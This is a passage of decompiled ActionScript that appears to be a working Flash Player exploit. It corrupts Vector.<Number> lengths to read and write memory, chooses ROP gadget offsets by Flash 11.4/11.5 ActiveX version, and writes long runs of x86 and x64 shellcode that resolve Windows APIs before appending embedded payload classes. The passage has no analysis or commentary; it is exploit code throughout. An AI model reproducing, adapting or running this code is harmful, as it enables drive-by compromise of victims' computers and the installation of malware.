                _loc_17.writeUnsignedInt(0xfb033a8b);
                _loc_17.writeUnsignedInt(0xa7f304b1);
                _loc_17.writeUnsignedInt(0xc2830874);
                _loc_17.writeUnsignedInt(0x4c08304);
                _loc_17.writeUnsignedInt(0x108bebeb);
                _loc_17.writeUnsignedInt(0xc033d303);
                _loc_17.writeUnsignedInt(0x20b1c88b);
                _loc_17.writeUnsignedInt(0xabf3fc8b);
                _loc_17.writeUnsignedInt(0x102404c7);
                _loc_17.writeUnsignedInt(0x54000100);
                _loc_17.writeUnsignedInt(0xd2fffe6a);
                _loc_17.writeUnsignedInt(0x90909090);
                _loc_17.writeUnsignedInt(0x90909090);
                _loc_17.writeUnsignedInt(0x90909090);
                _loc_17.writeUnsignedInt(0x90909090);
                _loc_17.writeUnsignedInt(0xec8160);
                _loc_17.writeUnsignedInt(0x8b000004);
                _loc_17.writeUnsignedInt(0x5c47c7fc);
                _loc_17.writeUnsignedInt(0x41414141);
                _loc_17.writeUnsignedInt(0x5847c790);
                _loc_17.writeUnsignedInt(0x42424242);
                _loc_17.writeUnsignedInt(0x743207c7);
                _loc_17.writeUnsignedInt(0x47c70c91);
                _loc_17.writeUnsignedInt(0xa138e04);
                _loc_17.writeUnsignedInt(0x847c7ac);
                _loc_17.writeUnsignedInt(0x837de239);
                _loc_17.writeUnsignedInt(0x8f0c47c7);
                _loc_17.writeUnsignedInt(0xc76118f2);
                _loc_17.writeUnsignedInt(0x32931047);
                _loc_17.writeUnsignedInt(0x47c794e4);
                _loc_17.writeUnsignedInt(0x9bd55014);
                _loc_17.writeUnsignedInt(0x1847c7cb);
                _loc_17.writeUnsignedInt(0xdbacbe43);
                _loc_17.writeUnsignedInt(0xb21c47c7);
                _loc_17.writeUnsignedInt(0xc7130f36);
                _loc_17.writeUnsignedInt(0x8dc42047);
                _loc_17.writeUnsignedInt(0x47c7741f);
                _loc_17.writeUnsignedInt(0xa22f5124);
                _loc_17.writeUnsignedInt(0x2847c701);
                _loc_17.writeUnsignedInt(0xff0d6657);
                _loc_17.writeUnsignedInt(0x9b2c47c7);
                _loc_17.writeUnsignedInt(0xc7e58b87);
                _loc_17.writeUnsignedInt(0xafed3047);
                _loc_17.writeUnsignedInt(0x47c7b4ff);
                _loc_17.writeUnsignedInt(0x4b19c234);
                _loc_17.writeUnsignedInt(0x3847c701);
                _loc_17.writeUnsignedInt(0x9aa5f07d);
                _loc_17.writeUnsignedInt(0xe43c47c7);
                _loc_17.writeUnsignedInt(0xc7c5942b);
                _loc_17.writeUnsignedInt(0x9dec4047);
                _loc_17.writeUnsignedInt(0x47c7a45f);
                _loc_17.writeUnsignedInt(0x3377cc44);
                _loc_17.writeUnsignedInt(0x127e98f);
                _loc_17.writeUnsignedInt(0xc0330000);
                _loc_17.writeUnsignedInt(0x30a164);
                _loc_17.writeUnsignedInt(0x408b0000);
                _loc_17.writeUnsignedInt(0x14408b0c);
                _loc_17.writeUnsignedInt(0x8b008b);
                _loc_17.writeUnsignedInt(0x8b10408b);
                _loc_17.writeUnsignedInt(0x6af78be8);
                _loc_17.writeUnsignedInt(0xc1e85911);
                _loc_17.writeUnsignedInt(0xe2000000);
                _loc_17.writeUnsignedInt(0x81ee8bf9);
                _loc_17.writeUnsignedInt(0x400ec);
                _loc_17.writeUnsignedInt(0x89c03300);
                _loc_17.writeUnsignedInt(0x7d8b3045);
                _loc_17.writeUnsignedInt(0x815f545c);
                _loc_17.writeUnsignedInt(0x200ec);
                _loc_17.writeUnsignedInt(0x685700);
                _loc_17.writeUnsignedInt(0xff000001);
                _loc_17.writeUnsignedInt(0xc0330855);
                _loc_17.writeUnsignedInt(0x73c8040);
                _loc_17.writeUnsignedInt(0x89f97500);
                _loc_17.writeUnsignedInt(0x4c76045);
                _loc_17.writeUnsignedInt(0x63626107);
                _loc_17.writeUnsignedInt(0x744c72e);
                _loc_17.writeUnsignedInt(0x67666304);
                _loc_17.writeUnsignedInt(0x6a006a00);
                _loc_17.writeUnsignedInt(0x6a026a00);
                _loc_17.writeUnsignedInt(0x68006a00);
                _loc_17.writeUnsignedInt(0x40000000);
                _loc_17.writeUnsignedInt(0x10458b57);
                _loc_17.writeUnsignedInt(0x49e8);
                _loc_17.writeUnsignedInt(0xf88300);
                _loc_17.writeUnsignedInt(0x4589327e);
                _loc_17.writeUnsignedInt(0x4045c734);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(0x458d006a);
                _loc_17.writeUnsignedInt(0x75ff5044);
                _loc_17.writeUnsignedInt(0x5c75ff58);
                _loc_17.writeUnsignedInt(0xff3475ff);
                _loc_17.writeUnsignedInt(0x75ff2055);
                _loc_17.writeUnsignedInt(0x2855ff34);
                _loc_17.writeUnsignedInt(0x2045c757);
                _loc_17.writeUnsignedInt(0x41780963);
                _loc_17.writeUnsignedInt(0xe800458b);
                _loc_17.writeUnsignedInt(18);
                _loc_17.writeUnsignedInt(0x7c4c481);
                _loc_17.writeUnsignedInt(0x8d610000);
                _loc_17.writeUnsignedInt(0x6ac3d465);
                _loc_17.writeUnsignedInt(0xffff6aff);
                _loc_17.writeUnsignedInt(0x38800c55);
                _loc_17.writeUnsignedInt(0x800a74e8);
                _loc_17.writeUnsignedInt(0x574e938);
                _loc_17.writeUnsignedInt(0x75eb3880);
                _loc_17.writeUnsignedInt(0x5788111);
                _loc_17.writeUnsignedInt(0x90909090);
                _loc_17.writeUnsignedInt(0xff8b0874);
                _loc_17.writeUnsignedInt(0x8dec8b55);
                _loc_17.writeUnsignedInt(0xe0ff0540);
                _loc_17.writeUnsignedInt(0x758b5651);
                _loc_17.writeUnsignedInt(0x2e748b3c);
                _loc_17.writeUnsignedInt(0x56f50378);
                _loc_17.writeUnsignedInt(0x320768b);
                _loc_17.writeUnsignedInt(0x49c933f5);
                _loc_17.writeUnsignedInt(0xc503ad41);
                _loc_17.writeUnsignedInt(0xbe0fdb33);
                _loc_17.writeUnsignedInt(0x74d63a10);
                _loc_17.writeUnsignedInt(0x7cbc108);
                _loc_17.writeUnsignedInt(0xeb40da03);
                _loc_17.writeUnsignedInt(0x751f3bf1);
                _loc_17.writeUnsignedInt(0x5e8b5ee7);
                _loc_17.writeUnsignedInt(0x66dd0324);
                _loc_17.writeUnsignedInt(0x8b4b0c8b);
                _loc_17.writeUnsignedInt(0xdd031c5e);
                _loc_17.writeUnsignedInt(0x38b048b);
                _loc_17.writeUnsignedInt(0x595eabc5);
                _loc_17.writeUnsignedInt(0xfed4e8c3);
                _loc_17.writeUnsignedInt(0x9090ffff);
                _loc_17.writeUnsignedInt(0x90909090);
                _loc_18.data.now = new Date().time;
                _loc_18.flush();
                _loc_18.close();
                _loc_28 = new this.the_x32_Class();
                _loc_17.writeBytes(_loc_28, 0, _loc_28.length);
                _loc_12 = _loc_13;
                _loc_15 = (_loc_12 + 64 - _loc_10 - 8) / 8;
                _loc_12 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[0];
                _loc_15 = (_loc_12 + 8 - _loc_10 - 8) / 8;
                _loc_12 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[0];
                _loc_12 = _loc_12 + _loc_14;
                _loc_17.position = _loc_14 + 112;
                _loc_17.writeUnsignedInt(_loc_25);
                _loc_17.position = _loc_17.position - 112 - 4;
                _loc_17.writeUnsignedInt(_loc_26);
                _loc_17.writeUnsignedInt(_loc_12 + 136);
                _loc_17.writeUnsignedInt(_loc_12);
                _loc_17.writeUnsignedInt(0x2000);
                _loc_17.writeUnsignedInt(0x1000);
                _loc_17.writeUnsignedInt(64);
                _loc_17.position = _loc_17.position + 112;
                _loc_17.writeUnsignedInt(0xec836090);
                _loc_17.writeUnsignedInt(0x64db3370);
                _loc_17.writeUnsignedInt(0x8b185b8b);
                _loc_17.writeUnsignedInt(0x5b8b305b);
                _loc_17.writeUnsignedInt(0x1c5b8b0c);
                _loc_17.writeUnsignedInt(0x8b08538b);
                _loc_17.writeUnsignedInt(0x7c8b3c7a);
                _loc_17.writeUnsignedInt(0xbc8d2c3a);
                _loc_17.writeUnsignedInt(0xe0003a);
                _loc_17.writeUnsignedInt(0x408bb800);
                _loc_17.writeUnsignedInt(0x739c330);
                _loc_17.writeUnsignedInt(0xeb470374);
                _loc_17.writeUnsignedInt(0x68ef8bf9);
                _loc_17.writeUnsignedInt(0x6c0065);
                _loc_17.writeUnsignedInt(0x6e007268);
                _loc_17.writeUnsignedInt(0x6b6800);
                _loc_17.writeUnsignedInt(0x33fc0065);
                _loc_17.writeUnsignedInt(0x8b1b8bc9);
                _loc_17.writeUnsignedInt(0x207b8bf4);
                _loc_17.writeUnsignedInt(0xa7f303b1);
                _loc_17.writeUnsignedInt(0x5b8bf375);
                _loc_17.writeUnsignedInt(0x3c538b08);
                _loc_17.writeUnsignedInt(0x781a548b);
                _loc_17.writeUnsignedInt(0xec1a448d);
                _loc_17.writeUnsignedInt(0x548bd5ff);
                _loc_17.writeUnsignedInt(0xd303201a);
                _loc_17.writeUnsignedInt(0xc933c303);
                _loc_17.writeUnsignedInt(0x10e8);
                _loc_17.writeUnsignedInt(0x74655300);
                _loc_17.writeUnsignedInt(0x65726854);
                _loc_17.writeUnsignedInt(0x6f436461);
                _loc_17.writeUnsignedInt(0x7865746e);
                _loc_17.writeUnsignedInt(0x24348b74);
                _loc_17.writeUnsignedInt(0xfb033a8b);
                _loc_17.writeUnsignedInt(0xa7f304b1);
                _loc_17.writeUnsignedInt(0xc2830874);
                _loc_17.writeUnsignedInt(0x4c08304);
                _loc_17.writeUnsignedInt(0x108bebeb);
                _loc_17.writeUnsignedInt(0xc033d303);
                _loc_17.writeUnsignedInt(0x20b1c88b);
                _loc_17.writeUnsignedInt(0xabf3fc8b);
                _loc_17.writeUnsignedInt(0x102404c7);
                _loc_17.writeUnsignedInt(0x54000100);
                _loc_17.writeUnsignedInt(0xd2fffe6a);
                _loc_17.writeUnsignedInt(0x90909090);
                _loc_17.writeUnsignedInt(0x90909090);
                _loc_17.writeUnsignedInt(0x90909090);
                _loc_17.writeUnsignedInt(0x90909090);
                _loc_17.writeUnsignedInt(0x20ec8160);
                _loc_17.writeUnsignedInt(0x8b000001);
                _loc_17.writeUnsignedInt(0x5c47c7fc);
                _loc_17.writeUnsignedInt(_loc_12 + 616 + 176 - 4);
                _loc_17.writeUnsignedInt(0x5847c790);
                _loc_17.writeUnsignedInt(_loc_28.length);
                _loc_15 = (_loc_11 - _loc_10 - 8) / 8;
                (_loc_5[_loc_7][_loc_22] as Vector.<Number>)[_loc_15] = this.UintToDouble(_loc_12, this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[1]);
                new Number(_loc_6.toString());
                (_loc_5[_loc_7][_loc_22] as Vector.<Number>)[_loc_15] = this.UintToDouble(_loc_16, this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[1]);
                (_loc_5[_loc_7][_loc_22] as Vector.<Number>)[0x1fffffff] = this.UintToDouble(16, _loc_9);
                (_loc_5[_loc_7][_loc_22] as Vector.<Number>)[0x1fffffff] = this.UintToDouble(16, _loc_9);
                return;
            }
            if (this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, 16)[0] == 16)
            {
                _loc_31 = 0;
                _loc_31 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, 17)[1];
                _loc_9 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, 17)[0];
                (_loc_5[_loc_7][_loc_22] as Vector.<Number>)[16] = this.UintToDouble(0xffffffff, 0);
                (_loc_5[_loc_7][_loc_22] as Vector.<Number>)[18] = this.UintToDouble(0x41414141, 0);
                _loc_32 = _loc_7;
                _loc_33 = _loc_22;
                _loc_21 = false;
                _loc_1 = 0;
                while (_loc_1 < 0x4000)
                {
                    
                    if (_loc_21)
                    {
                        break;
                    }
                    _loc_8 = 1;
                    while (_loc_8 <= 8)
                    {
                        
                        try
                        {
                            if (this.ReadDouble(_loc_5[_loc_1][_loc_8] as Vector.<Number>, 0)[0] == 0x41414141)
                            {
                                _loc_7 = _loc_1;
                                _loc_22 = _loc_8;
                                _loc_21 = true;
                                break;
                            }
                        }
                        catch (e:Error)
                        {
                        }
                        _loc_8 = _loc_8 + 1;
                    }
                    _loc_1 = _loc_1 + 1;
                }
                if (!_loc_21)
                {
                    while (1)
                    {
                        
                    }
                }
                _loc_1 = 0;
                while (_loc_1 < 0x1000)
                {
                    
                    if (this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_1)[0] == 32 && this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, (_loc_1 + 1))[0] == 1)
                    {
                        _loc_11 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_1 + 2)[0] & 0xfffffff8;
                        _loc_12 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_1 + 3)[0] & 0xfffffff8;
                        _loc_13 = _loc_12;
                        break;
                    }
                    _loc_1 = _loc_1 + 1;
                }
                if (_loc_1 == 0x1000)
                {
                    while (1)
                    {
                        
                    }
                }
                if (this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_1 + 2)[1] != _loc_31 || this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_1 + 3)[1] != _loc_31)
                {
                    while (1)
                    {
                        
                    }
                }
                _loc_1 = 0;
                while (_loc_1 < 0x4000)
                {
                    
                    _loc_8 = 1;
                    while (_loc_8 <= 8)
                    {
                        
                        if (!(_loc_1 == _loc_7 && _loc_8 == _loc_22) && !(_loc_1 == _loc_32 && _loc_8 == _loc_33))
                        {
                            _loc_5[_loc_1][_loc_8] = null;
                        }
                        _loc_8 = _loc_8 + 1;
                    }
                    _loc_1 = _loc_1 + 1;
                }
                _loc_1 = 1;
                while (_loc_1 < 4)
                {
                    
                    _loc_29 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, 16 * _loc_1 + 2 * (_loc_1 - 1));
                    _loc_30 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, 16 * (_loc_1 + 1) + 2 * ((_loc_1 + 1) - 1));
                    if (_loc_29[1] < _loc_29[0] && _loc_30[1] < _loc_30[0] && _loc_30[0] - _loc_29[0] == 144)
                    {
                        _loc_10 = _loc_29[0] - 144 * (_loc_1 + 1);
                        break;
                    }
                    _loc_1 = _loc_1 + 1;
                }
                if (_loc_10 == 0)
                {
                    while (1)
                    {
                        
                    }
                }
                _loc_1 = 0;
                while (_loc_1 < 1024 * 100)
                {
                    
                    _loc_17.writeUnsignedInt(0x41414141);
                    _loc_1 = _loc_1 + 1;
                }
                _loc_15 = (_loc_12 + 128 - _loc_10 - 16) / 8;
                _loc_12 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[0];
                _loc_15 = (_loc_12 + 16 - _loc_10 - 16) / 8;
                _loc_12 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[0];
                _loc_12 = _loc_12 + _loc_17.position;
                _loc_14 = _loc_17.position;
                _loc_15 = (_loc_11 - _loc_10 - 16) / 8;
                _loc_16 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[0];
                _loc_25 = 0;
                _loc_26 = 0;
                _loc_27 = Capabilities.version.toLowerCase();
                switch(_loc_27)
                {
                    case "win 11,5,502,146":
                    {
                        if (Capabilities.playerType.toLowerCase() == "activex")
                        {
                            _loc_25 = _loc_16 - 0x8a6d21;
                            _loc_26 = _loc_16 - 0x8ab096;
                            _loc_36 = _loc_16 - 0x8a41dd;
                            _loc_37 = _loc_16 - 0x75f9c0;
                            _loc_38 = _loc_16 - 0xa9377c;
                            _loc_39 = _loc_16 - 0x902ea7;
                            _loc_40 = _loc_16 - 0xa98908;
                        }
                        break;
                    }
                    case "win 11,5,502,135":
                    {
                        if (Capabilities.playerType.toLowerCase() == "activex")
                        {
                            _loc_25 = _loc_16 - 0x8dca4a;
                            _loc_26 = _loc_16 - 0x8aaf16;
                            _loc_36 = _loc_16 - 0x8805fa;
                            _loc_37 = _loc_16 - 0x75fae0;
                            _loc_38 = _loc_16 - 0x971f1a;
                            _loc_39 = _loc_16 - 0x902d3f;
                            _loc_40 = _loc_16 - 0x2f6a71;
                        }
                        break;
                    }
                    case "win 11,5,502,110":
                    {
                        if (Capabilities.playerType.toLowerCase() == "activex")
                        {
                            _loc_25 = _loc_16 - 0x8a6cf5;
                            _loc_26 = _loc_16 - 0x8ab046;
                            _loc_36 = _loc_16 - 0x88077a;
                            _loc_37 = _loc_16 - 0x90b8de;
                            _loc_38 = _loc_16 - 0xa9374c;
                            _loc_39 = _loc_16 - 0x902e5b;
                            _loc_40 = _loc_16 - 0x270bff;
                        }
                        break;
                    }
                    case "win 11,4,402,287":
                    {
                        if (Capabilities.playerType.toLowerCase() == "activex")
                        {
                            _loc_25 = _loc_16 - 0x4315aa;
                            _loc_26 = _loc_16 - 0xa00a52 + 0x600fbc;
                            _loc_36 = _loc_16 - 0xa38d39;
                            _loc_37 = _loc_16 - 0xa00a52;
                            _loc_38 = _loc_16 - 0xa3770b;
                            _loc_39 = _loc_16 - 0x457887;
                            _loc_40 = _loc_16 - 0x4315aa - 0x59c616;
                        }
                        break;
                    }
                    case "win 11,4,402,278":
                    {
                        if (Capabilities.playerType.toLowerCase() == "activex")
                        {
                            _loc_25 = _loc_16 - 0x3fb3a5;
                            _loc_26 = _loc_16 - 0x3ff6f6;
                            _loc_36 = _loc_16 - 0x46771b;
                            _loc_37 = _loc_16 - 0x45b6a2;
                            _loc_38 = _loc_16 - 0x5e7d87;
                            _loc_39 = _loc_16 - 0x4574af;
                            _loc_40 = _loc_16 - 0x17d490;
                        }
                        break;
                    }
                    case "win 11,4,402,265":
                    {
                        if (Capabilities.playerType.toLowerCase() == "activex")
                        {
                            _loc_25 = _loc_16 - 0x3fb3a5;
                            _loc_26 = _loc_16 - 0x3ff6f6;
                            _loc_36 = _loc_16 - 0x1c774f;
                            _loc_37 = _loc_16 - 0x117ec7;
                            _loc_38 = _loc_16 - 0x1c0bce;
                            _loc_39 = _loc_16 - 0x4574af;
                            _loc_40 = _loc_16 - 0xe2870;
                        }
                        break;
                    }
                    default:
                    {
                        while (1)
                        {
                            
                        }
                        break;
                    }
                }
                _loc_17.endian = Endian.LITTLE_ENDIAN;
                _loc_34 = _loc_17.position;
                _loc_17.position = _loc_17.position + 224;
                _loc_17.writeUnsignedInt(_loc_25);
                _loc_17.position = _loc_34;
                _loc_17.position = _loc_17.position + 160;
                _loc_17.writeUnsignedInt(_loc_12 + 256);
                _loc_17.writeUnsignedInt(_loc_31);
                _loc_17.position = _loc_34;
                _loc_17.writeUnsignedInt(_loc_37);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(64);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(_loc_39);
                _loc_17.writeUnsignedInt(0);
                _loc_17.position = _loc_17.position + 40;
                _loc_17.writeUnsignedInt(_loc_36);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(_loc_12 + 256);
                _loc_17.writeUnsignedInt(_loc_31);
                _loc_17.writeUnsignedInt(_loc_38);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(0x2000);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(_loc_37);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(_loc_26);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(_loc_40);
                _loc_17.writeUnsignedInt(0);
                _loc_17.position = _loc_34 + 256;
                _loc_17.writeUnsignedInt(0x55fc9090);
                _loc_17.writeUnsignedInt(0xf0e48348);
                _loc_17.writeUnsignedInt(0x65d23348);
                _loc_17.writeUnsignedInt(0x60528b48);
                _loc_17.writeUnsignedInt(0x18528b48);
                _loc_17.writeUnsignedInt(0x20528b48);
                _loc_17.writeUnsignedInt(0x50728b48);
                _loc_17.writeUnsignedInt(0x4ab70f48);
                _loc_17.writeUnsignedInt(0xc9334d4a);
                _loc_17.writeUnsignedInt(0xacc03348);
                _loc_17.writeUnsignedInt(0x27c613c);
                _loc_17.writeUnsignedInt(0xc141202c);
                _loc_17.writeUnsignedInt(0x3440dc9);
                _loc_17.writeUnsignedInt(0x52ede2c8);
                _loc_17.writeUnsignedInt(0xba495141);
                _loc_17.writeUnsignedInt(0x92af16da);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(0x75ca3b4d);
                _loc_17.writeUnsignedInt(0x528b4845);
                _loc_17.writeUnsignedInt(0x3c428b20);
                _loc_17.writeUnsignedInt(0x8bc20348);
                _loc_17.writeUnsignedInt(0x8880);
                _loc_17.writeUnsignedInt(0xc0854800);
                _loc_17.writeUnsignedInt(0x81483074);
                _loc_17.writeUnsignedInt(0x180ec);
                _loc_17.writeUnsignedInt(0xfc8b4800);
                _loc_17.writeUnsignedInt(0x80ec8148);
                _loc_17.writeUnsignedInt(0x48000000);
                _loc_17.writeUnsignedInt(0x8b50c203);
                _loc_17.writeUnsignedInt(0x8b441848);
                _loc_17.writeUnsignedInt(0x34c2040);
                _loc_17.writeUnsignedInt(0x4c8948c2);
                _loc_17.writeUnsignedInt(0x894c1824);
                _loc_17.writeUnsignedInt(0x48202444);
                _loc_17.writeUnsignedInt(0x28244489);
                _loc_17.writeUnsignedInt(0x594108eb);
                _loc_17.writeUnsignedInt(0x128b485a);
                _loc_17.writeUnsignedInt(0x415182eb);
                _loc_17.writeUnsignedInt(0xdaba4950);
                _loc_17.writeUnsignedInt(0x14fdaf6);
                _loc_17.writeUnsignedInt(0xe8000000);
                _loc_17.writeUnsignedInt(315);
                _loc_17.writeUnsignedInt(0x49078948);
                _loc_17.writeUnsignedInt(0xae572dba);
                _loc_17.writeUnsignedInt(347);
                _loc_17.writeUnsignedInt(0x129e800);
                _loc_17.writeUnsignedInt(0x89480000);
                _loc_17.writeUnsignedInt(0xba490847);
                _loc_17.writeUnsignedInt(0x528796c6);
                _loc_17.writeUnsignedInt(1);
                _loc_17.writeUnsignedInt(0x116e8);
                _loc_17.writeUnsignedInt(0x47894800);
                _loc_17.writeUnsignedInt(0x4cba4910);
                _loc_17.writeUnsignedInt(0x1072677);
                _loc_17.writeUnsignedInt(0xe8000000);
                _loc_17.writeUnsignedInt(259);
                _loc_17.writeUnsignedInt(0x18478948);
                _loc_17.writeUnsignedInt(0xf330ba49);
                _loc_17.writeUnsignedInt(0xe449);
                _loc_17.writeUnsignedInt(0xf0e80000);
                _loc_17.writeUnsignedInt(0x48000000);
                _loc_17.writeUnsignedInt(0x48204789);
                _loc_17.writeUnsignedInt(0x8d48f78b);
                _loc_17.writeUnsignedInt(0x80be);
                _loc_17.writeUnsignedInt(0x40b900);
                _loc_17.writeUnsignedInt(0x33480000);
                _loc_17.writeUnsignedInt(0xb9abf3c0);
                _loc_17.writeUnsignedInt(256);
                _loc_17.writeUnsignedInt(0x80868d48);
                _loc_17.writeUnsignedInt(0x48000000);
                _loc_17.writeUnsignedInt(0x8b48d08b);
                _loc_17.writeUnsignedInt(0x568b4cd8);
                _loc_17.writeUnsignedInt(0xd2ff4120);
                _loc_17.writeUnsignedInt(0x80868d48);
                _loc_17.writeUnsignedInt(0x48000000);
                _loc_17.writeUnsignedInt(0x3348c933);
                _loc_17.writeUnsignedInt(0x30c8adb);
                _loc_17.writeUnsignedInt(0x80c3ff48);
                _loc_17.writeUnsignedInt(0xf57500f9);
                _loc_17.writeUnsignedInt(0xc7cbff48);
                _loc_17.writeUnsignedInt(0x6f630304);
                _loc_17.writeUnsignedInt(0x44c7666e);
                _loc_17.writeUnsignedInt(0x67690403);
                _loc_17.writeUnsignedInt(0x44c7642e);
                _loc_17.writeUnsignedInt(0x6c6c0803);
                _loc_17.writeUnsignedInt(0x33450000);
                _loc_17.writeUnsignedInt(0x44c748c9);
                _loc_17.writeUnsignedInt(0x3024);
                _loc_17.writeUnsignedInt(0x8d480000);
                _loc_17.writeUnsignedInt(0x808e);
                _loc_17.writeUnsignedInt(0x2b84100);
                _loc_17.writeUnsignedInt(0x48000000);
                _loc_17.writeUnsignedInt(0xc2c7);
                _loc_17.writeUnsignedInt(0x44c74000);
                _loc_17.writeUnsignedInt(0x802824);
                _loc_17.writeUnsignedInt(0x44c70000);
                _loc_17.writeUnsignedInt(0x22024);
                _loc_17.writeUnsignedInt(0x8b4c0000);
                _loc_17.writeUnsignedInt(0xd2ff4116);
                _loc_17.writeUnsignedInt(0x48d88b48);
                _loc_17.writeUnsignedInt(0xffff883);
                _loc_17.writeUnsignedInt(0x9c84);
                _loc_17.writeUnsignedInt(0x4c8d4c00);
                _loc_17.writeUnsignedInt(0xba484024);
                _loc_17.writeUnsignedInt(0x42424242);
                _loc_17.writeUnsignedInt(0x42424242);
                _loc_17.writeUnsignedInt(0xb8419090);
                _loc_17.writeUnsignedInt(0x41414141);
                _loc_17.writeUnsignedInt(0x48cb8b48);
                _loc_17.writeUnsignedInt(0x202444c7);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(0x8568b4c);
                _loc_17.writeUnsignedInt(0x48d2ff41);
                _loc_17.writeUnsignedInt(0x7400f883);
                _loc_17.writeUnsignedInt(0xcb8b486c);
                _loc_17.writeUnsignedInt(0x10568b4c);
                _loc_17.writeUnsignedInt(0x48d2ff41);
                _loc_17.writeUnsignedInt(0x808e8d);
                _loc_17.writeUnsignedInt(0x8b4c0000);
                _loc_17.writeUnsignedInt(0xff411856);
                _loc_17.writeUnsignedInt(0x4852ebd2);
                _loc_17.writeUnsignedInt(0x10244c8b);
                _loc_17.writeUnsignedInt(0x24448b4c);
                _loc_17.writeUnsignedInt(0xc9ff4808);
                _loc_17.writeUnsignedInt(0x88348b41);
                _loc_17.writeUnsignedInt(0x4df20348);
                _loc_17.writeUnsignedInt(0x3348c933);
                _loc_17.writeUnsignedInt(0xc141acc0);
                _loc_17.writeUnsignedInt(0x3440dc9);
                _loc_17.writeUnsignedInt(0x75c43ac8);
                _loc_17.writeUnsignedInt(0xc18149f1);
                _loc_17.writeUnsignedInt(0x92af16da);
                _loc_17.writeUnsignedInt(0x75ca3b45);
                _loc_17.writeUnsignedInt(0x448b48d8);
                _loc_17.writeUnsignedInt(0x8b444024);
                _loc_17.writeUnsignedInt(0x34c2440);
                _loc_17.writeUnsignedInt(0x8b4166c2);
                _loc_17.writeUnsignedInt(0x8b44480c);
                _loc_17.writeUnsignedInt(0x34c1c40);
                _loc_17.writeUnsignedInt(0x48b41c2);
                _loc_17.writeUnsignedInt(0xc2034888);
                _loc_17.writeUnsignedInt(0xb94990c3);
                _loc_17.writeUnsignedInt(0x47474747);
                _loc_17.writeUnsignedInt(0x41474747);
                _loc_17.writeUnsignedInt(0x1001c741);
                _loc_17.writeUnsignedInt(0x4d000000);
                _loc_17.writeUnsignedInt(0xff70818d);
                _loc_17.writeUnsignedInt(0x8b49ffff);
                _loc_17.writeUnsignedInt(0x894901);
                _loc_17.writeUnsignedInt(0x8418b49);
                _loc_17.writeUnsignedInt(0x8408949);
                _loc_17.writeUnsignedInt(0xb9499090);
                _loc_17.writeUnsignedInt(0x48484848);
                _loc_17.writeUnsignedInt(0x48484848);
                _loc_17.writeUnsignedInt(0xb8419090);
                _loc_17.writeUnsignedInt(0x49494949);
                _loc_17.writeUnsignedInt(0x41018945);
                _loc_17.writeUnsignedInt(0x441c7);
                _loc_17.writeUnsignedInt(0x48000000);
                _loc_17.writeUnsignedInt(0xc3a8658d);
                _loc_17.writeUnsignedInt(0x90909090);
                _loc_18.data.now = new Date().time;
                _loc_18.flush();
                _loc_18.close();
                _loc_35 = new this.the_x64_Class();
                _loc_17.writeBytes(_loc_35, 0, _loc_35.length);
                _loc_12 = _loc_13;
                _loc_15 = (_loc_12 + 128 - _loc_10 - 16) / 8;
                _loc_12 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[0];
                _loc_15 = (_loc_12 + 16 - _loc_10 - 16) / 8;
                _loc_12 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[0];
                _loc_12 = _loc_12 + _loc_14;
                _loc_17.position = _loc_14;
                _loc_34 = _loc_17.position;
                _loc_17.position = _loc_17.position + 224;
                _loc_17.writeUnsignedInt(_loc_25);
                _loc_17.position = _loc_34;
                _loc_17.position = _loc_17.position + 160;
                _loc_17.writeUnsignedInt(_loc_12 + 256);
                _loc_17.writeUnsignedInt(_loc_31);
                _loc_17.position = _loc_34;
                _loc_17.writeUnsignedInt(_loc_37);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(64);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(_loc_39);
                _loc_17.writeUnsignedInt(0);
                _loc_17.position = _loc_17.position + 40;
                _loc_17.writeUnsignedInt(_loc_36);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(_loc_12 + 256);
                _loc_17.writeUnsignedInt(_loc_31);
                _loc_17.writeUnsignedInt(_loc_38);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(0x2000);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(_loc_37);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(_loc_26);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(_loc_40);
                _loc_17.writeUnsignedInt(0);
                _loc_17.position = _loc_34 + 256;
